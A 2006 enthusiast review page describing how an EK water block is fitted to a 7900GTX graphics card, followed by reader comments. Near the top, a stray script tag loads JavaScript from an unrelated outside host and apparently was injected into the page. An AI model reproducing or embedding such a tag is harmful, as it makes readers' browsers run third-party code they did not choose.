Eddie EK FC79 7800/7900 GPU Block

Installation

Page <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 13/08/2006
Author: Matthew Kemp (kempez)
Hardware Acquired: Watercooling Shop

Installation

Once again I will be using the Club3D 7900GTX 512mb.

eddie ek block

eddie ek block

First I needed to remove the stock cooler

eddie ek block

And again this then has to be cleaned of all leftover paste etc

eddie ek block

EK state that you can use any thermal paste that you want to. Arctic Silver Ceramique is mentioned in the manual, and I used this on the RAM for the card. I used Arctic Silver 5 for the GPU. You may want to use Arctic Silver Ceramique if this is your first install.

I did not get a picture of the block before it got put onto the cooler, but the instructions are fairly self-explanatory.

The Block installed:

eddie ek block

The rear of the card:

eddie ek block

A close up of the PWM cover:

eddie ek block

The top of the block. You can see the spacers underneath the barbs:

eddie ek block

Installation of the card in my case was an absolute breeze. The Eddie EK block has barbs that fit on horizontally and this meant that routing in my case was an absolute doddle. Unlike the Alphacool block, I could put back one of the fans onto the case that I previously had to take off. This meant that general case cooling was much better with the extra fan on it. Obviously for testing this was left off (for parity with the Alphacool previously reviewed).

eddie ek installed

The card looks a little twisted here. Perhaps the cooler does weigh it down a bit, but it's not too bad:

eddie ek block

And a close-up picture of the block. You can see that the flow is pretty high and the block looks great.

eddie ek block

eddie ek uv

Well it certainly looks nice, but how does it do in our tests? Read on...

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Most Recent Comments

13-08-2006, 19:13:07

FarFarAway
We take a look at this high-end EK block and see how it does...

Check it here

http://www.overclock3d.net/thumb.php?id=2411Quote

13-08-2006, 19:37:31

NickS
Rapes the alphacool man, Eddie blocks rawk. If they werent so darn expensive I'd consider one for my X1K.Quote

13-08-2006, 19:39:05

AKtodaface
looks sick! its too bad my parts dont run hot enough to need water cooling lolQuote
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